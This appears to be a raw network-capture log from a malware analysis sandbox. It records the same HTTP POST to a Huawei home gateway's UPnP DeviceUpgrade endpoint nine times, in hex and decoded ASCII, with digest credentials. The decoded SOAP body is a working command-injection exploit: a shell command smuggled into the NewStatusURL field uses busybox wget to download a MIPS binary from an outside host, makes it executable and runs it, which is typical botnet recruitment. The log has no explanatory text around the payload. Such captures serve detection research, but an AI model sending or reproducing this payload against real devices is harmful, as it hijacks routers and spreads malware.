Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
